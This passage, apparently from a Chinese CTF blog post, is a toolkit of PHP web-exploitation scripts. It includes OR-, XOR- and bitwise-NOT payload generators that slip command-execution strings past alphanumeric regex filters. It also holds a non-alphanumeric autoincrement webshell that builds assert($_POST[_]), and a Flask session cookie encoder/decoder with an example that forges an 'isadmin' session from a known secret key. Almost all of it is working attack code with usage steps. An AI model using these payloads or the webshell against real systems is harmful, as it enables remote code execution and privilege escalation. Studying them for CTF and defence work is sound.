            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
  
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*py脚本*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

异或运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]

脚本

<?php

/*author yu22x*/
/*php脚本*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }
  
        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)^urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*-这是Py脚本*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

取反运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件]

脚本

<?php

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

自增运算脚本

如何使用

该方法在.0.12以上版本不可使用
构造出的语句为: assert($_POST[_]); 使用: _=php函数 ; 例如 _=phpinfo();

脚本

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

flask session伪造admin身份

使用方法

解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

例如:
python3 flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"

脚本

flask_session_manager.py

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))


最后修改:2022 年 11 月 14 日
如果觉得我的文章对你有用,请随意赞赏